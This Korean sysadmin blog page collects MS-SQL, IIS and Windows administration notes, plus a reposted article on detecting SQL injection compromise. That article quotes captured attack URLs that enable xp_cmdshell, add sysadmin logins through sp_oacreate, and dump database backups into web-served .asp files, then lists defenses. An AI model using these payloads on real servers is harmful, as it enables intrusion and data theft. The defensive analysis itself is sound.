2011년 3월 7일 월요일

[참고] Window - 예약된작업 - 작업상태확인

http://blog.naver.com/behappyng/100063749034

[MS-SQL] MS-SQL 2005 설치[펌]

서버호스팅 MS-SQL 2005 설치 매뉴얼 v1.1 


* MS-SQL 2005 WorkGroup Edition 기준으로 작성
  

* MS-SQL 2005 CD 삽입 à 설치 (서버 구성 요소, 도구, 온라인 설명서 및 예제) 

01 최종 사용사 사용권 계약 : 동의함 체크 (다음) 

02 필수 구성 요소를 설치 하는 중 (다음, 다음) 

03 Microsoft SQL Server 설치 마법사 시작 (다음) 

04 시스템 구성 검사 : 기본값 (다음) 

05 등록정보 : 기본값 (다음) 

06 기능 선택 : 모든 기능을 로컬 하드 드라이브에 설치 
SQL Server Database Service à 데이터 파일 의 경로를 D:\\Microsoft SQL Server\\ 로 설정해 준다. (다음) 

07 인스턴스 이름 : 기본값 (다음) 

08 서비스 계정 : 기본 제공 시스템 계정 사용(로컬 시스템), 설치 완료 후 서비스 시작 모두 체크 (다음) 

09 인증 모드 : 혼합모드 체크 하고 혼합모드 체크 후 sa패스워드는 sa 암호 지정 방법 대로 작성 (다음) 

10 데이터 정렬 설정 : 기본값 (다음) 

11 보고서 서버 설치 옵션 : 기본값 (다음) 

12 오류 및 사용 보고서 설정 : 기본값 (다음) 

13 설치 준비 완료 (설치) 

14 설치 진행률 (다음) 

15 Microsoft SQL Server 2005 설치 완료 (마침) 

14 재시작 

  

* 서비스팩2 CD 삽입 후 SQLServer2005SP2-KB921896-x86-KOR.exe 실행 

01 시작 (다음) 

02 사용 약관 : 동의함 선택 (다음) 

03 기능 선택 : 기본값 (다음) 

04 인증 : 기본값 (다음) 

05 오류 및 사용 보고 설정 : 기본값 (다음) 

06 실행 중인 프로세스 : 무시하고 넘어감 (다음) 

07 설치 준비 완료 (설치) 

08 설치 진행률 (다음) 

09 설치 완료 (다음) 

10 추가 정보 (마침) 

11 Vista 에서 SQL Server 사용자 제공 : 모두 오른쪽으로 이동 (확인) 

12 재시작 

* 기타 설정 

- mssql_safe2005.sql 실행 

- 시작 à 프로그램 à Microsoft SQL Server 2005 à 구성도구 à SQL Server 노출 영역 구성 à 기능에 대한 노출 영역 구성 à xp_cmdshell à xp_cmdshell 사용 체크 해제 되어 있는지 확인 

- 백업 드라이브에 \\backup\\ms-sql\\bak 와 \\backup\\ms-sql\\log 디렉터리 생성 

  

* DB 유지 관리 계획 (주의: 해상도 1024*768 초과로 해야 설치 도중 생략 되는 화면이 없다.) 

01 Microsoft SQL Server Management Studio 실행 à 관리 à 유지 관리 계획(유지 관리 계획 마법사) 

02 유지 관리 계획 마법사 (다음) 

03 계획 속성 선택 : 이름과 설명 부분에 “DB 백업” 이라고 적는다. 

일정 부분에 있는 [변경] 버튼을 눌러서 되풀이 “일별”로 한 번 수행 “오전 1:00”로 설정 한다 

04 유지 관리 작업 선택 : 데이터베이스 무결성 검사, 데이터베이스 백업(전체), 유지 관리 정리 작업 에 체크 한다 (다음)

05 유지 관리 작업 순서 선택 : 기본값 (다음) 

06 데이터베이스 무결성 검사 작업 정의 : 데이터베이스 “모든 데이터베이스” 선택한다. 나머진 기본값 (다음) 

07 데이터베이스 백업(전체) 작업 정의 : 데이터베이스 “모든 데이터베이스” 선택, 폴더는 백업드라이브의 bak폴더로 지정 한다. (예: f\\backup\\ms-sql\\bak) 나머진 기본값 (다음) 

08 유지 관리 정리 작업 정의 : 확장명에 따라 폴더 검색 및 파일 삭제 부분에 폴더는 백업드라이브의 bak폴더로 지정 (예: f:\\backup\\ms-sql\\bak)하고, 파일 확장명 “bak”로 지정 한다. 
작업 런타임에 파일의 보존 기간에 따라 파일 삭제 “2주” 로 설정 한다. 나머진 기본값 (다음) 

09 보고서 옵션 선택 : 텍스트 파일에 보고서 쓰기 체크하고 백업드라이브의 log 폴더로 지정 한다. (예: f:\\backup\\ms-sql\\log) 나머진 기본값 (다음) 

10 마법사 완료 (마침) 

  

* DB 유지 관리 계획 (주의: 해상도 1024*768 초과로 해야 설치 도중 생략 되는 화면이 없다.) 

01 Microsoft SQL Server Management Studio 실행 à Management à Maintenance Plans(유지 관리 계획 마법사) 

02 Select a Target Server :” DB backup” 이라고 적는다 

03 Select Maintenance Tasks : Check Database Integrity, Back Up Database (full), Back Up Database (Differential) 에 체크한다. 

04 Select Maintenance Task Order : 기본값 (다음) 

05 Define Database Check Integrity Task : Databases 의 “All databases”를 선택 한다. 나머진 기본값 (다음) 

06 Define Back Up Database (Full) Task : Databases의 “All databases”를 선택 Folder는 백업드라이브의 bak폴더로 지정 (예: f:\\backup\\ms-sql\\bak)하고, 파일 확장명 “bak”로 지정 한다. 

07 Define Back Up Database (Transaction Log) Task : Databases의 “All databases”를 선택 Folder는 백업드라이브의 bak폴더로 지정 (예: f:\\backup\\ms-sql\\bak)하고, 파일 확장명 “bak”로 지정 한다. 

08 Select Plan Properties : 기본값 (다음) 

09 Select Report Options : Write a report to a text file에 체크하고 Folder location에 백업드라이브의 log 폴더를 지정 한다. (예: f:\\backup\\ms-sql\\log) 나머진 기본값 (다음) 

10 마침 

### 내 컴퓨터가 64bit인지 확인하는 방법 ###

### 내 컴퓨터가 64bit인지 확인하는 방법 ###
 
 
시작을 클릭하고 실행을 클릭합니다.
winmsd.exe를 입력하고 확인을 클릭합니다.
탐색 창에서 시스템 요약을 선택한 경우 자세히 창의 항목에서 프로세서를 찾습니다. 값을 확인합니다. 
프로세서에 해당하는 값이 x86으로 시작하면 해당 컴퓨터에서 32비트 버전의 Windows를 실행하고 있는 것입니다.
 
프로그램 --> 보조프로그램 --> 시스템 도구 --> 시스템 정보  클릭!!
 
프로세서 해당 부분에 x86으로 시작하면 해당 컴퓨터에서 32bit 버전으로 설치된 것이다!!

# 윈도우즈 웹방화벽(WebKnight 2.1) IIS6.0 에서 서비스 시 #

- 윈도우즈 웹방화벽(WebKnight 2.1) IIS6.0 에서 서비스 시 
  ; Log 폴더(로그가 쌓일 위치): IIS6.0 일 경우 NETWORK SERVICE 계정의 쓰기 권한 필요 (즉, 로그폴더에 NETWORK SERVICE 계정의 권한을 추가하여 쓰기권한을 주면 로그가 생성된다.)

## SQL 쿼리문으로 백업 및 복구 할 경우 ##

## SQL 쿼리문으로 백업 및 복구 할 경우 ##
 

백업
BACKUP DATABASE aaa_db TO DISK='D:\Backup\DB_Backup\0802_aaa_db.bak' WITH INIT
GO
 

복구
USE master
GO
 
Alter database aaa_db set single_user
GO
 
restore database aaa_db from disk ='D:\Backup\DB_Backup\aaadb_backup_.bak' with replace
GO
 

권한
----
USE master
GO
 
Alter database aaa_db set multi_user
GO

## sql2000 데이타베이스 수동 복구 시 ##

## sql2000 데이타베이스 수동 복구 시 ##

- 기존데이타를 다른이름으로 임시로 복구한다. (ex: old_yjdb)
sql 쿼리분석기로 복구한 테이블을 확인해 본다.
select * from k_order_cart;
 
복구해야할 테이블의 데이타를 복사하여 메모장이나, 울트라에디터에 복사한다.
수동으로 inset 구문을 넣어주어 복구한다.

일단 1개의 테이블을 insert 하여 들어가는지 확인해 보고 복구 작업에 들어간다.
 
1. SET IDENTITY_INSERT k_order_cart ON  ==> order_cart 테이블에 요 쿼리문을 써야 하기에 앞에 넣은 거다.

SET IDENTITY_INSERT k_order_cart ON insert k_order_cart(idx, cart_code, c_type, f_idx, c_name, c_o_price, c_l_price, c_point, c_su, c_total, l_day, c_uid, wdate, c_coupon) values ('69681','7201022222222-1234567','B','237','[우리나라] 1,2차 우리나라','0','0','0','1','0','0','yougun','2010-07-28 오전 5:48:56','0');

2. 1개의 테이블 들어간 내용을 확인한다.
select * from k_order_cart where cart_code='7201022222222-1234567';
delete  from k_order_cart where cart_code='7201022222222-1234567';
 

# MS-SQL 2000 에서 복원 시 디비명이 다른경우 복원을 어떻게 해야하나요? #

# MS-SQL 2000 에서 복원 시 디비명이 다른경우 복원을 어떻게 해야하나요? #


백업본을 다른 데이터베이스명으로 복원하기 위해서는 아래와 같이 하시면 됩니다.
(버전은 일단 SQL Server 2000을 기준으로 설명드립니다.)

1단계) 복원할 데이타베이스명을 생성합니다.
데이터베이스 -> 새데이타베이스 생성(복원할 데이타베이스 생성합니다.)
복원할 데이타베이스 -> 데이터베이스 복원 선택
장치내용 옵션을 선택하고, 장치선택을 클릭하여 백업본이 있는 경로와
백업본의 이름을 선택합니다.

2단계) 데이터베이스로의 복원 드롭다운리스트 박스에 복원하고자 하는 이름을
입력합니다.


3단계) 옵션 탭을 선택하고, 기존 데이터베이스 위에 강제복원 옵션을 체크하고
아래의 물리적 파일이름으로 이동 그리드 컨트롤에 적절한 물리적 파일이름과
경로를 지정합니다.
(주의 - 이 때 이미 동일한 경로에 예전 데이터베이스의 파일이 존재할 수도 있기 때문
에 반드시 확인하여 물리적 파일 이름을 변경해 주어야 합니다.)



,, 녹리적 파일 이름(기존데이타베이스명에 대한 이름이다.) - 수정할 필요 없음!!
물리적 파일 이름으로 이동 --> 복원할 데이타베이스명으로 변경해주면 된다.!!

감사합니다.

P.S>
백업과 복원 / 가져오기와 내보내기는 기능상으로는 유사한 기능을 할 수 있지만, 그 목적 자체가 다르다고 판단됩니다.
백업/복원은 전체 데이터베이스에 대한 것으로 데이터베이스내의 모든 데이터와 스키마 등을 장애조치 목적으로 보관하기 위한 솔루션이고, 가져오기/내보내기는 특정 테이블 또는 특정 개체 단위로 이동/복사/변환을 목적으로 수행하기 위한 솔루션입니다.
각 상황에 따라 적합한 솔루션을 선택해서 사용하시면 되겠습니다.
 

[참고] 내 컴퓨터가 64bit인지 확인하는 방법

64bit란 무엇인가? 그리고 그것이 뭐가 차이가 있는 거지?



Windows 7의 경우는 리테일을 사는 경우 32bit와 64bit를 둘다 주는 것으로 알고 있습니다.
가장 간단한 방법이자 무식한 방법은 64bit로 설치해보고 안되면 32bit로 설치하는 것이겠죠.
하지만 학생용 프로모션이나 업그레이드용 프로모션의 경우 둘중 하나만을 선택할 수 있는 경우가 있습니다.
일일이 설치해볼 수도 없지만 조금 신경만 쓰면 간단히 확인해 볼 수 있습니다.


위 CPU-Z를 다운 받아서 압축을 푼 뒤 실행을 하면 아주 쉽게 64bit지원 여부를 확인할 수 있습니다.


프로세서의 경우 제조사에 따라 그 64bit 지원 명령어 이름이 다릅니다. 위에 프로세서 name에 보면
왼쪽의 경우 AMD Phenom Ⅱ X4 955라고 되어 있고 오른쪽의 경우 Intel Core 2 Duo E7300이라고 되어 있습니다.
이 경우 왼쪽의 제조사는 AMD고 오른쪽의 제조사는 Intel입니다.

AMD의 64bit 명령어는 x86-64입니다. 왼쪽의 사진에 제가 노랗게 색칠해 논 부분이죠.
Intructions에서 확인하실 수 있습니다.
Intel의 경우는 EM64T입니다. 오른쪽 사진의 노랗게 된 부분이죠.

만약 제조사에 맞는 64bit지원 명령어가 있고 렘이 1) 2기가가 넘는 경우에 64bit Windows 7을 설치 가능합니다.
* Vista의 경우 7보다 약간 더 무겁기 때문에 렘 2기가로는 무리일 수 도 있습니다.

1) 렘 2기가 : 사실 64bit가 가진 장점은 렘 4기가 이상 인식뿐만이 아니라 이론상 처리량 2배라는 것도 있는데,
그럼에도 불구하고 렘 4기가가 강조되는 것은 64bit에서는 32bit 프로그램을 돌릴때 에뮬레이트를 통해 돌리는 데
이 에뮬에 필요한 렘 메모리를 일정부분 미리 할당받습니다. 그래서 약간 무거웠던 Vista의 경우 4GB정도는 되어야 렘 사용량이 넉넉했던 것입니다.
그래서 렘 4기가가 통설처럼 된 것입니다. 하지만 Windows 7의 경우는 가벼워졌기 때문에 2GB 이상만 되면 지장없이 사용가능 합니다.
 
 

# SQL Server 버전과 에디션을 확인하는 방법 #

# 실행 중인 SQL Server 버전을 확인하는 방법 #
 
실행 중인 Microsoft SQL Server 버전을 확인하려면 SQL Server Management Studio를
사용하여SQL Server 에 연결한 후 다음 Transact-SQL 문을 실행합니다. loadTOCNode(2, 'summary');
 
 
SELECT  SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel'), SERVERPROPERTY ('edition');
 
 
위에 명령어로 확인 가능하다.

# 윈도우즈 sql 2005 모니터링 방법 #

# 윈도우즈 sql 2005 모니터링 방법 #

관리 -> 작업모니터 (더블클릭) sql 프로세스 확인할 수 있다.

윈도우즈 하드웨어 스펙 확인하기 cpuz

윈도우즈 하드웨어 스펙 확인하기 cpuz 
 
본 프로그램은 사용에 아무런 제한이 없는 프리웨어입니다.
CPU 의 종류와 내부적인 기능 등 다양한 정보를 자세히 분석해주는 CPU-Z 입니다.
CPU 이름, 제조 회사, 종류, 속도, Revision, FSB 클럭, L1/L2 캐쉬 정보, MMX/3DNOW!/ISSE 지원 여부,
BIOS, Motherboard(Chipset, Memory, AGP등), 메모리(사이즈, 타입, 타이밍 등)의 정보를 분석해줍니다.
결과를 저장하는 기능이 있는데, 단 하나의 HTML 파일로만 저장할 수 있는 점, 바로 인쇄할 수 없는 점이 아쉽습니다.
 
 
# 실행 및 설치방법다운 받은 파일의 압축을 풀고 프로그램을 실행하면 됩니다.

윈도우즈 업데이트 비활성화 된 경우

# 윈도우즈 업데이트 비활성화 된 경우 #
 
시작 > 설정 > 제어판 > 자동 업데이트 -> 비활성화인 경우 아래의 내용 확인하시오.
 

- 확인 사항 -
실행 > gpedit.msc 엔터 > 그룹 정책 개체 편집기 > 컴퓨터 구성 > 관리 템플릿 > Windows Update >
==> 자동 업데이트 구성 (사용), 인트라넷 Microsoft 업데이트 서비스 위치 지정(사용)
자동 업데이트 검색 주기(사용), 자동 업데이트로 바로 설치(사용)
4가지만 되어있으면 된다.

# FTP 사용자 격리 모드 사용 방법 (Windows 2003 IIS 6.0) #

# Windows 2003 IIS 6.0 FTP 사용자 격리 모드 사용 방법 #

----------------------------------------------------------------------------
1. FTP 사이트 -> 새로만들기 -> FTP 사이트 -> 설명(ftp 격리모드) -> 다음 ->
   사용자격리 체크 -> D:\wwwroot  지정 -> 읽기, 쓰기 체크 -> 완료
 
2. 홈디렉터리 설정
   D:\wwwroot -> localuser 생성 -> ftp id 계정 똑같이 디렉터리 만든다.
   ex) D:\wwwroot\localuser\aurora_guest
         D:\wwwroot\localuser\aurorausa
 
   사용자 계정 id, passwd 생성해 줘야 한다.
 
D:\wwwroot\localuser 안에 격리 FTP 사이트에 접근 할 사용자의 이름으로 하위 디렉터리를생성한다.
(디렉터리 이름과 사용자 및 그룹에서 생성한 사용자 이름이 일치해야한다.)
 
3. ftp 접속한다.
   그럼 상위폴더 위로 안 올라가며, 해당 계정만 접근이 가능함.
----------------------------------------------------------------------------

MSSQL 접속 방법

# MSSQL 접속 방법 #
 
==============================================================================================================================================
1. ODBC 연결 방법
-  프로그램 > 관리도구 > ODBC 데이터 원본 관리자 > 시스템DSN > 추가 > SQL Server > 이름 : 디비명, 설명 :디미명, 서버 : 서버실아이피 > 
   사용자가 입력한 로그인 ID 및 암호 체크 > 로그인 : 디비아이디, 암호 > 기본데이터베이스 체크(디비명), 따옴표 붙은 ANSI 식별자사용, ANSI 널 체크됨 > 
   문자데이터에 대한 변환 실행 체크됨 > 마침 > 데이터 원본테스트를 클릭해서 성공됐는지 확인하면 된다.

2. OLEDB 연결 방법
-  test.udl 파일을 만든다.(빈파일에서), 만든 후 실행한다.
   연결탭 > 1. 서버이름 : IP 정보, 2. 특정 사용자 이름 및 암호 사용, 3. 서버에서 데이터베이스를 선택
   후 연결테스트를 클릭해서 성공됐는지 확인하면 된다.

### SQL 2000 에서 작업사항 ### (SQL2005 --> SQL2000 디비옮기는 방법)

### SQL2005 --> SQL2000 으로 디비 옮기는 방법 ###
 
 
특이사항: 일반적인 백업으로 복구할 수 없다. 
데이터베이스 가져오기, 내보내기를 이용해서 이동으로 해야 한다.
-------------------------------------------------------------------------------- 
  1. 옮길디비계정생성 -> 오른쪽클릭 -> 모든작업 -> 데이터 가져오기 -> 
  데이터 원본: Microsoft OLE DB Provider For SQL Server
  서버: 가져와야할  원격서버 IP를 넣는다.
  인증 : SQL 서버 인증 (ID, PW 입력)
  데이터베이스 : 옮길 데이터베이스 선택
  
  대상: Microsoft OLE DB Provider For SQL Server
  서버: localhost
  인증: Windows 인증사용 및 SQL Server 인증사용 암거나 선택(ex. Windows 인증 사용 선택)
  데이터베이스: 옮길데이터베이스 선택
  원본 데이터베이스에서 테이블 및 뷰 복사 체크 후 다음 
  테이블 및 뷰 -> 모두 선택 후 다음.. 에러나면 항목 확인 후 체크 안하고 넘어간다.
  (ex. cardgame.dbo.WEB_GAME_LOG, WEB_USER 사용할 수 없다고 해서 체크 2개 안하고 
   넘어갔음)

   시기: 즉시실행 --> 다음  --> 마침!! 
--------------------------------------------------------------------------------

[보안] Sql Injection 침해 흔적을 통한 보안점검

Sql Injection 침해 흔적을 통한 보안점검
www.wssplex.net
여러 보안 기관 및 언론등에서 자주 오르내리는 해킹사건의 상당 부분이 웹사이트를 통해서 이루어지고 있다. 

왜냐면, 요즘에는 거의 대부분 방화벽등의 장비등을 통해서 막아 놓기 때문에 역시 공개되어 있는 루트를 이용해야 하는데 그것이 바로 웹사이트 이기 때문이다.

예전에는 주로 서버자체 OS나 응용프로그램의 취약점을 노리고 있으나, 최근에는 웹사이트 프로그램 코드의 취약점을 이용하고 있으며, 국내 웹사이트의 상당수가 (일부 포털의 CP 사이트 포함) 노출되어 있는 형국이고,. 데이터가 탈취 당했음에도 여전히 모르고 있는체 웹사이트가 운영되고 있다.

웹사이트 해킹은, 해당 웹사이트 파괴나 데이터 위변조에서 멈추는게 아니라 곧바로 시스템까지 해킹할수 있게 된다.

요즘에 극성을 부리는 중국(일명 짱께) 에서 하루가 멀다하고 해킹시도가 이루어 지고 있고 그 대부분이 Sql Injection, FTP 스캔, RPC, SMB 등이다.

위 통계는, http://www.krcert.or.kr/index.jsp 에서 해킹 트랜드를 확인할수가 있다.

자, 그럼 그중에 가장 위험한 DB 연동 웹사이트에 의한 데이터 위변조 및 시스템해킹 인데 그들이 어떤 흔적을 남기는지 결과를 통해서 현재 운영하는 본인의 시스템을 점검해 보는것이 좋다.

(* 샘플 일부의 내용중 서버명의 경우 SERVERINFO,serverinfo.pe.kr 로 변경함)


1. 웹사이트 연동 데이터베이스 DB 의 테이블 목록 확인.
Sql Injection 을 통해서 해킹이 된 경우, 데이터 유출을 하는 경우도 일부 있으나 대부분 시스템을 조회한 테이블을 남긴다. 일부 해커의 경우는 조회후 테이블을 삭제하기도 한다.

DB의 테이블 목록을 정기적으로 점검을 해보는 것이 좋은데, 해킹된 DB의 경우 주로 다음과 같은 이름의 테이블이 생성되어 있다.

테이블 스키마나, 레코드를 보면 테이블 이름과 비슷한 내용이 들어 있는데 주로 시스템디렉토리 목록이나 웹사이트 디렉토리 목록, 레지스트리 값 조회가 대부분 이다.

D99_CMD, 
D99_REG, 
D99_Tmp, 
DIY_TEMPCOMMAND_TABLE,
t_jiaozhu, 
Siwebtmp,
NB_Commander_Tmp, 
comd_list, 
Reg_Arrt,  
jiaozhu, 
Reg_Arrt 테이블
xiaopan 테이블
DIY_TEMPTABLE
heige
kill_kk
SC_LOG
SC_TRAN


2. xpcmdshell 을 통한 시스템 해킹

일부 몰지각한 개발자들의 경우, 웹사이트 DB 연동계정을 sa 계정이나, 시스템권한이 있는 DB 계정을 이용하는 경우가 있는데 그때는 xp_cmdshell 확장프로시져를 통해서 서버내 어떠한 작업도 가능해져 완전 장악당하는 경우가 있다.

다음은, 보안이벤트 로그 일부 이다.  sa 같은 계정으로 연동된 웹사이트가 침해되는 경우, 대부분 SQL Server는 SYSTEM 계정으로 서비스가 실행되는데 xpcmdshell 명령을 실행하게 되면 SYSTEM 권한으로 실행을 하게 된다.

일부는, SQL 을 Administrator 같은 어드민권한이 있는 계정으로 서비스를 실행하는데 어차피 실행 계정이 서버내에서 모든 작업이 가능한 권한을 가지고 있으므로 계정을 지정한다고 해서 취약점을 피해갈수 없다. (*예)

다음과 같이 해킹용 새로운 계정을 등록하거나, 패스워드 변경 시도 및 삭제등이 가능해 진다. 아래와 같은 작업을 했다는 것은 서버내 어떠한 작업도 가능하다는 것이며 이는 완전히 장악 당했다는 증거이다.

이벤트 형식: 성공 감사
이벤트 원본: Security
이벤트 범주: 계정 관리 
이벤트 ID: 624
날짜: 2005-12-15
시간: 오전 3:00:49
사용자: SERVERINFO-DB\Administrator
컴퓨터: SERVERINFO-DB
설명:
만들어진 사용자 계정:
새 계정 이름: SQLadmin
새 도메인: SERVERINFO-DB
새 계정 ID: %{S-1-5-21-1085031214-839522115-1631860264-1017}
호출자 사용자 이름: Administrator
호출자 도메인: SERVERINFO-DB
호출자 로그온 ID: (0x0,0x90F1)
권한 -

이벤트 형식: 성공 감사
이벤트 원본: Security
이벤트 범주: 계정 관리 
이벤트 ID: 642
날짜: 2005-12-15
시간: 오전 3:02:58
사용자: SERVERINFO-DB\Administrator
컴퓨터: SERVERINFO-DB
설명:
변경된 사용자 계정:
계정을 사용하도록 설정했습니다.
대상 계정 이름: Guest
대상 도메인: SERVERINFO-DB
대상 계정 ID: SERVERINFO-DB\Guest
호출자 사용자 이름: Administrator
호출자 도메인: SERVERINFO-DB
호출자 로그온 ID: (0x0,0x90F1)
권한: -



3. 웹사이트를 통해서 데이터베이스 탈취 시도


다음은, DB서버에서 백업을 하여 웹사이트를 통해서 데이터를 다운로드 하는 것이다. SQL 서버에서 해당 데이터베이스의 백업을 할때 백업미디어를 다음과 같은 웹사이트 디렉토리에 파일로 저장하여 백업파일로 지정한다.

18265 :
백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:19:1, 마지막 LSN: 893:19:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'c:\cmd'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:19:1, 마지막 LSN: 893:33:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\www_root\serverinfo.pe.kr\mag\dback.asp'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:33:1, 마지막 LSN: 893:47:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\www_root\serverinfo.pe.kr\sy\dback.asp'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:47:1, 마지막 LSN: 893:66:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\Microsoft SQL Server\MSSQL\BACKUP\yiaolu'}).

백업된 로그: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 첫째 LSN: 893:132:1, 마지막 LSN: 893:132:1, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\www_root\serverinfo.pe.kr\sy\dback2.asp'}).

BackupDiskFile::CreateMedia: 백업 장치 'd:\www_root\serverinfo.pe.kr\sy\dback2.asp\zz.asp'이(가) create에 실패했습니다. 운영 체제 오류 = 3(지정된 경로를 찾을 수 없습니다.)

BACKUP이 실패하여 'update qna_AV set cnt=cnt+1 where idx=2162;declare/**/@a/**/
sysname,@s/**/nvarchar(4000)/**/select/**/@a=db_name(),@s=0x64003a005c00770
0770077005f0072006f006f0074005c00620069007200
640074007200650065002e006e00650074005
c00730079005c0064006200610063006b00320' 명령이 완료됩니다.


백업된 데이터베이스 차등 변경: 데이터베이스: serverinfo, 만든 날짜(시간): 2004/04/06(16:36:00), 덤프한 페이지 수: 107, 첫째 LSN: 893:383:1, 마지막 LSN: 893:385:1, 전체 백업 LSN: 893:317:3, 덤프 장치 수: 1, 장치 정보: (FILE=1, TYPE=DISK: {'d:\www_root\serverinfo.pe.kr\sy\dback6.asp'}). 

또는, 해당 asp 파일을 생성후 해당 asp 파일 코드내에 여러가지 작업이 가능한 시스템 명령어 및 DB 쿼리 명령어를 넣어 두기도 한다.

1.asp, 
2.asp, 
11.asp, 
111.asp
dbback.asp
dbback1.asp
dbback2.asp
dbback3.asp
dbback6.asp
C드라이브루트에. Cmd


4. Sql Injection 시도 웹사이트 로그


위와 같은 작업은 웹사이트를 통해서 하는데, 자동화된 툴을 이용하는 경우에는 웹사이트 주소줄의 레퍼러 위/변조 방법을 이용하고 직접적인 시도는 레퍼러 위조 뿐만 아니라 폼값 POST 전송을 통해서도 시도를 한다.

(* 다음은, 필자의 웹사이트인 Serverinfo.pe.kr 을 거의 매일 다음과 같이 스캔을 당하고 있다.)

http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105
 and char(124)+user+char(124)=0
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105'
 and char(124)+user+char(124)=0 and '%'='
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105'
 and char(124)+user+char(124)=0 and ''='
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105'
 and char(124)+user+char(124)=0 and '%'='
위를 시도한 다음에,, 가능하다고 판단을 했던것 일까?.. 보다 적극적인 공격을 시도한다.
다음 레퍼러주소에 따라오는 쿼리문은 공격의 일부 샘플이다. 어떤가?.. 상상을 초월하지 않는가?.
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;DROP
 TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--
예외,. 오류: 'guest' 사용자에게는 DBCC 'addextendedproc'을(를) 실행할 권한이 없습니다.
데이터베이스 컨텍스트가 'master'(으)로 변경되었습니다.
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105
 And (Select Top 1 CASE WHEN ResultTxt is Null then char(124) else ResultTxt+char(124) End from (Select Top 1 id,ResultTxt from [X_5450] order by [id]) T order by [id] desc)>0
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;CREATE
 TABLE [X_5450]([id] int NOT NULL IDENTITY (1,1), [ResultTxt] nvarchar(4000) NULL);insert into [X_5450](ResultTxt) exec master.dbo.xp_cmdshell 'dir c:';insert into [X_5450] values ('g_over');exec master.dbo.sp_dropextendedproc 'xp_cmdshell'--
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;use
 master declare @o int exec sp_oacreate 'wscript-x.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addsrvrolemember dir c:,sysadmin"'--
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;use
 master declare @o int exec sp_oacreate 'wscript-x.shell',@o out exec sp_oamethod @o,'run',NULL,'OSQL -E -S localhost -d master -Q "exec sp_addlogin dir c:,xiaoxue"'--
http://www.serverinfo.pe.kr/TipnTech.aspx?Content=Net&Search=&vMode=View&page=&
Seq=105;DROP
 TABLE [X_5450];use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')--


물론, 레퍼러 버퍼를 작게(제한) 해놓은 웹서버도 있기는 하지만 그렇다고 그것이 방어의 대안이 되지는 못한다.


5. 방어

방어의 최상의 방법은, 기본적인 방화벽에 의해서 공개 서비스외는 차단이 되어 있다는 가정하에,.

1. 웹사이트에 사용자 입력이 가능한 모든 부분에 대한 예외처리를 해야 한다.

2. 사용자 입력값에 대한 정당성 체크 루틴을 필수로 해줘야 한다.

3. 그래도 안심이 안된다면, 웹사이트 오류시 절대! 웹브라우져에 오류가 발생했다는 표시를 하지 않도록 웹서버의 오류메시지를 수정해서 특정 페이지로 Redirection 처리를 해줘야 한다.

4. DB 연동 웹사이트라면, 최소화된 권한을 가진 해당 DB 에만 권한이 있는 계정을 이용해야 한다.

5. 각 웹사이트 기능별 테이블에서 select, insert, update, delete 등의 특정권한만 지정한다.

위 5가지 항목은 프로그래머가 취해야 할 부분이다.

6. Urlscan 및 WebKnight 같은 웹사이트 요청 필터를 통해서 해킹시도 문자열을 사전에 차단하는 것이다.

7. 웹서버 관련 오류나 경고이벤트 및 IIS 로그를 주기적으로 체크한다.

8. 관련 문서가 인터넷에 아주 많이 배포가 되어 있으므로 주기적으로 관련문서를 탐독 및 적용한다.


지금까지 해킹시도 로그 및 침해흔적을 살펴보았다. 솔직히 필자가 수 백대의 서버를 운영 및 기술지원을 하면서 경험한 내용의 빙산의 일각이다.

해킹 트랜드 및 기법은 날이 갈수록 정교 및 교묘해지므로 어떤 작업이나 프로그래밍을 할때에는 보안을 제1순위로 해두어야 조금이라도 안전하게 데이터 보호를 할수가 있게 된다.

보안의식이 투철해야만, 두발 뻗고 편안한 잠을 이룰수가 있게 된것이다.

(* 본 포스트는, 상업적 이용은 허락을 받아야 하며, 그외는 출처를 필히 표기해야 합니다.)
 

(win 2000 -> win 2003)홈페이지 이전 시 .inc에 대한 폴더나 파일을 찾지 못할때?

## 홈페이지내의 .inc에 대한 폴더나 파일을 찾지 못할때?
   => IIS의 고객 사이트에서 홈디렉터리 -> 구성 ->
      .inc  / C:\WINDOWS\system32\inetsrv\asp.dll 추가하면 인식된다.
 

MsSQL에서 소유자(mssql2000 => mssql2005으로 복원)

# MsSQL에서 소유자(mssql2000 => mssql2005으로 복원)
----------------------------------------------------------------
use 디비명;
go
exec sp_change_users_login update_one,'디비아이디','디비아이디';
go
----------------------------------------------------------------
 
ex)
### USE db명
EXEC sp_change_users_login 'Update_One', '사용자', '로그인'
예) USE testdb
EXEC sp_change_users_login 'Update_One', 'testid', 'testid'
